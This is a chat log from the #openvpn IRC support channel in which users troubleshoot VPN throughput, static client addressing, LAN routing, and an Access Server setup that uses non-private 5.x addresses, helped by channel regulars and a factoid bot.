04:27 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
04:33 -!- Orbi [~opera@109.129.41.52] has joined #openvpn
04:41 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Ping timeout: 248 seconds]
04:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 246 seconds]
05:00 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
05:06 -!- biax [~biatche@175.136.134.136] has joined #openvpn
05:09 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
05:10 < biax> if a remote worker (win7) wishes to access/modify his files in his office, whats the ideal setup? is openvpn a good idea? or is it better to find some software that's able to map as a virtual drive?
05:15 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
05:17 -!- shiin [~alex@funtoo/core/shiin] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
05:41 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
05:46 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
05:46 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
06:00 -!- octe [~octe@stilgar.fixme.se] has joined #openvpn
06:00 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Ping timeout: 264 seconds]
06:03 < octe> with iperf i get about 95Mbit between my client and server
06:03 < octe> over openvpn on that link i get about 5Mbit
06:03 < octe> i've tried switching between AES-128-CBC and BF-CBC, changing tun-mtu, fragment, mssfix
06:03 < octe> nothing seems to help
06:04 < octe> neither the server nor the client seems particularily busy
06:04 < octe> using udp
06:04 < octe> any ideas?
06:15 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
06:15 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
06:22 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
06:26 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Ping timeout: 256 seconds]
06:27 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
06:31 -!- djjunde [~djjunde@dsl-espbrasgw1-54f9cf-178.dhcp.inet.fi] has quit [Ping timeout: 264 seconds]
06:31 -!- djjunde [~djjunde@dsl-espbrasgw1-54f9cf-178.dhcp.inet.fi] has joined #openvpn
06:36 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
06:46 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
06:46 -!- Skaag [~lunix@114-46-106-90.dynamic.hinet.net] has joined #openvpn
06:52 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:52 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
06:52 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
06:57 <@ecrist> octe: what happens if you disable encryption entirely?
07:00 -!- Skaag [~lunix@114-46-106-90.dynamic.hinet.net] has quit [Quit: Lost terminal]
07:04 < octe> good idea. i'll try that
07:07 <@ecrist> you mentioned mtu, but this is a good read if you have a chance
07:07 <@ecrist> !mtu
07:07 <@vpnHelper> "mtu" is (#1) see --mtu-test to learn how to test your MTU settings. Basically you just use --mtu-test in your normal client config or (#2) mtu debugging guide: http://www.secure-computing.net/wiki/index.php/OpenVPN/Troubleshooting
07:15 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Read error: Connection reset by peer]
07:16 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
07:20 < octe> that's odd..
07:20 < octe> i set cipher none on both the client and the server
07:20 < octe> but they won't connect now - i get 'Authenticate/Decrypt packet error: bad packet ID (may be a replay): [ #2018949994 / time = (2869505934) Sun Dec  5 21:58:54 2060 ] -- see the man page entry for --no-replay and --replay-window for more info or silence this warning with --mute-replay-warnings'
07:21 < octe> Bad LZO decompression header byte: 116 before that
07:21 < octe> comp-lzo is specified on both
07:24 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Ping timeout: 276 seconds]
07:26 < octe> ah, there was an old client running
07:30 < octe> that is weird, even with cipher none and various mtu settings i get ~6Mbit
07:37 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
07:51 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
07:55 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Read error: Connection reset by peer]
07:56 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
08:01 -!- brute11k1 [~brute@89.249.235.152] has joined #openvpn
08:02 -!- brute11k [~brute@89.249.235.152] has quit [Ping timeout: 248 seconds]
08:06 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Quit: Leaving]
08:06 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
08:24 <@ecrist> !gigabit
08:24 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
08:25 -!- jgoldberg [~jgoldberg@cpe-72-177-87-250.austin.res.rr.com] has quit [Remote host closed the connection]
08:31 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
08:33 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
08:37 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
08:37 -!- sveajobb [~tommy@195.67.6.178] has joined #openvpn
08:38 < sveajobb> Hi, I have a TUN-vpn setup and it works perfect. Now I tried to add a windows client and it gives me "There is a problem in your selection of --ifconfig endpoints [local=10.8.0.8, remote=10.8.0.1].  The local and remote VPN endpoints must exist within the same 255.255.255.252 subnet. "  is there way around this?
08:38 < sveajobb> I need the clients to all reach each other and have static ips, it works fine for linux and mac.
08:46 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Read error: Connection reset by peer]
08:51 < Dropje> !static
08:51 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
08:51 < Dropje> !net30
08:51 <@vpnHelper> "net30" is "/30" is (#1) http://openvpn.net/index.php/documentation/faq.html#slash30 explains why routed clients each use 4 ips, or (#2) you can avoid this behavior with by reading !topology
08:51 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k1107.webspeed.dk] has quit [Quit: Sleep]
08:53 < Dropje> sveajobb: ^^
08:54 < sveajobb> Thanks :)
08:57 < biax> if a remote worker (win7) wishes to access/modify his files in his office, whats the ideal setup? is openvpn a good idea? or is it better to find some software that's able to map as a virtual drive?
09:00 < EugeneKay> I FUCKING HATE NETWORK MANAGER YOU USELESS PIECE OF SHIT DIE
09:01 < MorgyN> ha ;D
09:01 < EugeneKay> biax - CIFS/SMB works just fine over openvpn.
09:01 < EugeneKay> You may need WINS resolution, or if you already have a domain then you're golden.
09:01 < djjunde> biax: depend, i assume that there is network drives at office which are located different servers, which are configured to work in office network. I would do it through vpn because then you can access easily at all network drives and devices (if properly configured)
09:02 < djjunde> but like EugeneKay said CIFS/SMB works like a charm through vpn
09:07 < Aketzu> EugeneKay: best ever you can do with network manager is to make new package that Conflicts: network-manager so you can never accidentally install it :)
09:07 < EugeneKay> Hehehe
09:07 < EugeneKay> One of these days I'll set up a company RPM repo
09:07 < EugeneKay> Until then I shall just curse
09:13 -!- sveajobb [~tommy@195.67.6.178] has quit [Remote host closed the connection]
09:14 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has joined #openvpn
09:38 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 240 seconds]
09:43 < sw0rdfish> is 128MB RAM enough to run an openvpn server for me (one person)
09:43 < EugeneKay> Yes, but it sounds like you're buying a VPS.
09:43 < EugeneKay> If it has that little RAM you're talking about OpenVZ, which does not play nicely with openvpn
09:43 < EugeneKay> So, no, it isn't.
09:44 < sw0rdfish> I'm getting KVM, EugeneKay.
09:44 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:45 < EugeneKay> Should work fineish
09:45 < EugeneKay> I'd buy a bigger box tho
09:45 < EugeneKay> Linode's $20 1GB works great ;-)
09:46 < sw0rdfish> nah
09:46 < sw0rdfish> its either 128MB or 256MB RAM but if 128 is enough I wanna go for that.
09:47 < Aketzu> openvpn-server with ~3 clients eats something like 9MB RAM
09:47 < EugeneKay> I was speaking more for the fact that small boxes tend to live on ridiculously overloaded hosts, you get diddly for bandwidth, uptime is horrible, and there's a good chance of the company taking your year's prepayment and closing shop after a month
09:47 < EugeneKay> But hey, your money
09:48 < Aketzu> ~10 clients 17MB and ~80 clients 115MB
09:49 < Aketzu> (VmRSS so not entirely true values but something like that)
09:49 < sw0rdfish> even at 2 euros a month I don't have zee cash to pay for a year.
09:54 < EugeneKay> Get a job, hippie
09:57 < sw0rdfish> EugeneKay, oh shit.
09:57 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:58 < sw0rdfish> I just found out for that tiny kvm you gotta pay annually or biennially or triennially.... LMFAO I didn't even know those two words, biennially and triennially before this, but I SURE DO have an idea of what they probably mean
09:58 < sw0rdfish> NOW!
09:59 < sw0rdfish> well for the 256MB RAM I can pay monthly so I AM taking that :)
10:01 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:02 -!- ferz [~nonsoloso@vola.diff.org] has quit [Ping timeout: 264 seconds]
10:10 -!- ferz [~nonsoloso@vola.diff.org] has joined #openvpn
10:38 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:50 -!- JesseCW [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has quit []
10:50 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
10:56 -!- countd [~countd@unaffiliated/countd] has joined #openvpn
10:57 < countd> !welcome
10:57 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:57 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:57 < countd> !linnat
10:57 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
11:03 -!- BenLue [~BenLue@unaffiliated/benlue] has joined #openvpn
11:03 < BenLue> salut ppls
11:04 < BenLue> Some Question. I cann Loginto my VPN Server but i cant ping from VPN to my VPN Server. Anyone Ideas?
11:05 -!- Devastator- [~devas@177.99.154.107] has joined #openvpn
11:06 < pekster> If you can't ping the VPN IP of the peer, either it's not really connected, or a firewall is dropping traffic
11:06 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
11:07 < BenLue> 64 bytes from 10.0.0.1: icmp_req=1 ttl=64 time=0.044 ms
11:08 < pekster> If that's the IP of your VPN server, looks like it works. That's a poor network choice though since it's likely to conflict with some home network equipment
11:10 < BenLue> Can u chack my .confs? Server.conf: http://paste.debian.net/68/ Client.conf: http://paste.debian.net/69/
11:10 < BenLue> is this correct?
11:12 < pekster> Sure
11:13 < pekster> You'd need a ccd for the client with an iroute, since it looks like 192.168.1/24 is owned by your client
11:14 < BenLue> ahh okay i was using this Szenario: http://wiki.openvpn.eu/index.php/Config_ServerNET_ClientNET#IP_Forwarding_aktivieren
11:14 <@vpnHelper> Title: Config ServerNET ClientNET – OpenVPN Wiki (at wiki.openvpn.eu)
11:14 < pekster> !clientlan
11:14 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
11:14 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
11:15 < pekster> If you also have a LAN behind the server, this is the separate process/flowchart for that:
11:15 < pekster> !serverlan
11:15 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
11:20 -!- Orbi [~opera@109.129.41.52] has left #openvpn []
11:21 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has left #openvpn []
11:25 < BenLue> pekster i cant ping my vpn server. serverlan.png says i need to fix my vpn
11:26 < BenLue> but ure answere was my confs are correct
11:26 < pekster> Then why did you paste me a ping reply from 10.0.0.1?
11:26 < BenLue> upps sry
11:26 < pekster> Look at your logs; if it connects fine, you need to fix your firewalls
11:26 < pekster> If not, fix the breakage
11:28 < BenLue> pekster openvpn-status.log looks fine
11:29 < pekster> !logfile
11:29 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
11:29 < pekster> status != log
11:32 < BenLue> http://paste.debian.net/72/
11:33 < BenLue> ahhh
11:33 < BenLue> lately
11:33 < BenLue> Apr 24 12:32:53 vpn ovpn-server[17625]: read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
11:35 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:36 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
12:07 -!- countd [~countd@unaffiliated/countd] has left #openvpn ["http://quassel-irc.org - Chat comfortably. Anywhere."]
12:13 -!- kubbing_ [~kubbing@ip-89-177-147-63.net.upcbroadband.cz] has joined #openvpn
12:16 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 255 seconds]
12:35 < BenLue> pekster i can ping my vpn ips but not the other Network from both sites. Any Ideas?
12:36 < BenLue> VPN IP: 10.0.0.0 and Office IP: 192.168.1.0
12:36 < pekster> My idea is to follow the info/flowchart you were linked
12:36 < pekster> What did you do/learn/try?
13:11 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
13:11 < BenLue> pekster i use the Flowchart and i use the Network Route looks like route 192.168.1.0 255.255.255.0       # clientnetz + netmask
13:13 < BenLue> i can ping from my Homenetwork to My Office network
13:13 < BenLue> But i cant ping from Office to Home
13:14 < pekster> Firewall
13:15 < BenLue> !firewall
13:15 <@vpnHelper> "firewall" is (#1) please see https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG for more info or (#2) see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for brief notes on disabling firewall rulesets.
13:22 < BenLue> i have tryed some Firewall Setting but it isnt working
13:24 -!- S1lv3R [~BenLue@178-83-36-152.dynamic.hispeed.ch] has joined #openvpn
13:24 -!- S1lv3R [~BenLue@178-83-36-152.dynamic.hispeed.ch] has quit [Changing host]
13:24 -!- S1lv3R [~BenLue@unaffiliated/benlue] has joined #openvpn
13:26 -!- BenLue [~BenLue@unaffiliated/benlue] has quit [Disconnected by services]
13:26 -!- S1lv3R is now known as BenLue
13:27 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:30 -!- kubbing_ [~kubbing@ip-89-177-147-63.net.upcbroadband.cz] has quit [Ping timeout: 255 seconds]
13:49 -!- raidz is now known as raidz_away
14:04 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
14:08 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
14:11 -!- dazo is now known as dazo_afk
14:18 -!- raidz_away is now known as raidz
14:24 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
14:30 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
14:47 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has quit [Ping timeout: 255 seconds]
15:34 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
15:41 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
15:41 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
16:06 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:13 -!- jthunder [~jthunder@174.3.126.51] has quit [Remote host closed the connection]
16:14 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
16:18 -!- biax [~biatche@175.136.134.136] has quit [Quit: ircN 8.00 for mIRC (20100708) - www.ircN.org]
16:21 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has joined #openvpn
16:24 -!- awc737 [c82af14@gateway/web/cgi-irc/kiwiirc.com/x-rkgbwtwpqxcpexkn] has joined #openvpn
16:24 < awc737> Hey, I am trying to use an open TCP port for my openvpn-as , because my work firewall has almost everything blocked
16:25 < awc737> in the openvpn-as admin panel, I changed to TCP port 21, and now I can't access my panel
16:25 < awc737> Error 107 (net::ERR_SSL_PROTOCOL_ERROR): SSL protocol error
16:25 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 258 seconds]
16:26 < rob0> !as
16:26 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
16:26 < awc737> what is the difference between openvpn and openvpn-as
16:31 < rob0> I don't entirely know. I never used AS. But for one thing, openvpn is a thing you run from the command line, there is no "admin panel".
16:34 < awc737> oh ok
16:34 < awc737> so I guess openvpn-as installs openvpn
16:35 < rob0> IIUC it is a closed-source version which was based on the open-source openvpn.
16:35 < pekster> awc737, AS is a commercial non-free product that is, at a high level, a pretty wrapper to the openvpn protocol. OpenVPN is an open-source VPN technology
16:35 < pekster> That said, if you're willing to pay for the service under the license agreement, I believe some element of support is included. You'd have to ask the commercial side though, since I know effectively nothing about it
16:37 < awc737> I thought it was free
16:37 < awc737> thanks though
16:37 < awc737> on a sidenote, can anyone recommend a budget VPN provider in US?
16:37 < pekster> OpenVPN is free (both as in beer and as in speech.) "Access Server" is not
16:38 < pekster> As for providers of VPN services, I have no clue. I run my own for anything I need
16:39 < awc737> I at least need a trial to one so I can continue to set up my openvpn server lol
16:40 < pekster> huh?
16:40 < pekster> That makes no sense
16:40 < pekster> !howto
16:40 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
16:40 < pekster> That's how to set up openvpn
16:42 -!- BtbN [~btbn@btbn.de] has joined #openvpn
16:42 -!- awc737 [c82af14@gateway/web/cgi-irc/kiwiirc.com/x-rkgbwtwpqxcpexkn] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
16:43 -!- Nu_le_rMel_down [rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has joined #openvpn
16:43 < pekster> And when works is required, folks leave
16:44 -!- Nu_le_rMel_down [rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has quit [Changing host]
16:44 -!- Nu_le_rMel_down [rep@unaffiliated/antiliberal] has joined #openvpn
16:44 < BtbN> Does OpenVPN need a full /64 subnet, or can it work with smaler ones?
16:44 < pekster> BtbN, /64 through /112 is supported
16:44 < BtbN> ok, because my server only got a /64
16:45 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
16:48 -!- awc737 [cda444@gateway/web/cgi-irc/kiwiirc.com/x-txdwknmwlprsgcvz] has joined #openvpn
16:49 < awc737> thanks for your help
16:49 < awc737> the reason I need a trial is because at work I can't ssh
16:49 < awc737> which is why I need a VPN
16:52 < pekster> I don't see what that has to do with a "trial" of anything
16:54 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:55 < awc737> pekster:I guess I could pay
16:55 < rob0> Maybe you could put your sshd on port 443?
16:55 < awc737> but I need a VPN to even ssh and administer my server
16:55 < awc737> yeah I could probably do that
16:55 < pekster> So run a VPN on your server
16:55 < pekster> Done
16:55 < pekster> No paying, no trial
16:55 < awc737> yeah but I need a trial to put a VPN on my server
16:55 < pekster> No, you don't
16:55 < pekster> !howto
16:55 < awc737> to even access my server
16:55 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
16:56 < awc737> I can't ssh into my server without a VPN currently
16:56 < awc737> I would need a VPN to even change SSH port from 443 to 22 on my server
16:56 < awc737> but it's ok privatetunnel has a free tier
16:56 < awc737> brb
16:56 < rob0> not much we can do for you at this point
16:58 -!- awc737 [cda444@gateway/web/cgi-irc/kiwiirc.com/x-txdwknmwlprsgcvz] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
17:04 -!- awc737 [~awc737@192.73.235.190] has joined #openvpn
17:04 < awc737> It seems to be working now
17:04 < awc737> I can SSH into other servers now, but why can't I SSH into the server which is running the openvpn server?
17:07 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
17:09 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
17:10 < pekster> Without seeing any of your configs or setup, it's likely you're using --redirect-gateway, which adds a host-route via the pre-existing gateway to avoid a routing loop
17:12 < awc737> my internet is going very slow... :/
17:12 < awc737> ping google.com cmd takes like 15 seconds before the first line shows up
17:13 < pekster> If you're using someone else's free service, what do you expect?
17:14 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
17:15 < awc737> pekster, this is openvpn installed on my VPS
17:18 < pekster> With --redirect-gateway? Then you seem to have a deadbeat VPS; many of them are so severly over-provisioned they suffer throughput and CPU issues, so I can't say I'm surprised
17:21 -!- awc737 [~awc737@192.73.235.190] has quit [Ping timeout: 258 seconds]
17:33 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
17:37 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 264 seconds]
17:38 -!- awc737 [~awc737@192.73.235.190] has joined #openvpn
17:38 < awc737> so my OpenVPN is working, but I can't SSH into the server which is hosting my OVN
17:40 < awc737> I can SSH into an outside server... then back in
17:43 < pekster> My answer from 30 minutes ago still applies
17:43 < awc737> sorry what was it
17:43 < awc737> I keep disconnecting and reconnecting
17:43 < pekster> No, you replied 2 minutes later, apparently without understanding a word of it
17:44 < awc737> I see a log here...
17:44 < awc737> pekster> Without seeing any of your configs or setup, it's likely you're using --redirect-gateway, which adds a host-route via the pre-existing gateway to avoid a routing loop
17:44 < awc737> so I need to not be using --redirect-gateway?
17:44 < pekster> Not an openvpn problem if the routing is setup how you intend
17:45 < pekster> No
17:45 < pekster> Use the VPN IP
17:45 < awc737> what if I intend to be able to SSH into the openvpn server?
17:45 < awc737> after my client is connected
17:45 < pekster> Use. The. VPN. IP.
17:45 < pekster> Connections to the external IP of your VPN peer go over your physical route. As I noted before.
17:46 < awc737> indeed, that worked awesome, thanks so much pekster
17:46 < awc737> this is most excellent
17:46 < awc737> so I can probably just add that in my /etc/hosts
17:49 < awc737> hmm no wait, I don't think that is working
17:49 < awc737> I think I was SSH'd into another server when I did that
17:50 < awc737> :/
17:50 < awc737> pekster, the VPN IP and my IP are both the same
17:51 < pekster> You can't do that
17:51 < pekster> !howto
17:51 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
17:51 < pekster> Things need unique IPs
17:52 < pekster> You also need a more basic network guide if that's an issue
17:53 < awc737> pekster, are you saying it's not true?
17:53 < awc737> or that I did it wrong
17:53 < awc737> and yeah I'm not a networking person
17:53 < pekster> No two hosts can have the same IP (withing the same routing domain)
17:53 < pekster> !tcpip
17:53 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
17:54 < pekster> You need to come back when you have the basics figured out. A VPN is an advanced networking topic, and it won't be useful unless you have a good handle on the basics
17:54 < awc737> I just need a pay service then
17:54 < awc737> I'm a developer and have no interest in networking, just need to SSH into my servers
17:54 < awc737> but thats a shame because I am so close I think
17:55 < pekster> Pastebin the configs & logs somewhere
17:55 < pekster> !configs
17:55 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
17:55 < pekster> !logs
17:55 < awc737> if I just take my znc irc bouncer off my VPN VPS, I think I will not need to communicate with it while I am ssh'd
17:55 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
17:55 < awc737> I mean while I am connected
17:55 < pekster> Of course, if you have no interest in learning, you'd best leave now. We like to help those who have an interest in figuring things out
17:55 < awc737> learning more about networking? no. getting or buying a VPN yes
17:57 -!- ferz [~nonsoloso@vola.diff.org] has quit [Quit: Leaving.]
17:58 -!- awc737 [~awc737@192.73.235.190] has quit [Quit: Leaving]
18:16 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
18:17 <@krzee> aww he left, i think he would like AS
18:17 <@krzee> its for those who dont want to learn
18:20 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 264 seconds]
18:23 < pekster> He started with AS, assumed it was free, and toyed with the GPL product for a bit before declaring that learn is too hard
18:23 < pekster> learning*
18:25 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
18:30 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
18:36 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
18:38 -!- awc737_away [~awc737@2604:180::805e:30d0] has joined #openvpn
18:38 < awc737_away> pekster, so I am not sure this is a correct method, but I was able to solve my problem
18:39 < awc737_away> I just ssh me@5.5.0.1, after I'm connected to my VPN server
18:40 < awc737_away> I am not sure if the host as 5.5.0.1 will ever change or not...
18:40 < awc737_away> I do see when I connect it changes, 5.5.0.3, 5.5.0.4, etc
18:41 < pekster> You're using that as your VPN network? Unless you are E-Plus Mobilfunk GmbH that's not your IP space
18:41 < pekster> !1918
18:41 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
18:41 < pekster> Don't make up your own network ranges to use. Unless it's private IP space, it's owned by someone
18:42 < awc737_away> It is private
18:42 < awc737_away> I didn't make it up, I just checked in ifconfig
18:42 < pekster> No. 5.4.0.0/14 is owned by a german company
18:42 < pekster> That is *not* private IP space
18:42 < awc737_away> pekster, is it a coincidence?
18:43 < awc737_away> I'll share my ifconfig on server
18:43 < awc737_away> http://paste.laravel.com/pcK
18:44 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has quit [Ping timeout: 260 seconds]
18:44 < awc737_away> pekster, and here is my own ifconfig: http://paste.laravel.com/pcL
18:45 < pekster> What is as0t0?
18:45 < pekster> If that's something AS created, you're in the wrong channel
18:45 < awc737_away> lol good question
18:45 < pekster> !as
18:45 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
18:45 < awc737_away> oh, I bet it is
18:46 < awc737_away> would it be the same principle though?
18:46 < awc737_away> that is my internal IP
18:46 < awc737_away> such as 192.168.0.11
18:47 < pekster> 5.anything is not an internal IP
18:47 < pekster> And that listed IP belongs to the German company I noted earlier. Unless they allocated a block of IPs to you, it's not yours
18:47 < awc737_away> lol how did I get it
18:47 < pekster> How you fix that in AS is not any of my concern, but it's wrong as it stands now
18:48 < awc737_away> what happens when you hit http://5.5.0.1/
18:48 < awc737_away> Index of /     Apache/2.2.16 (Debian) Server at 5.5.0.1 Port 80
18:48 < pekster> Nope. The real owner of that IP isn't running a web server
18:49 < awc737_away> well then, it must be internal if it's taking me to localhost?
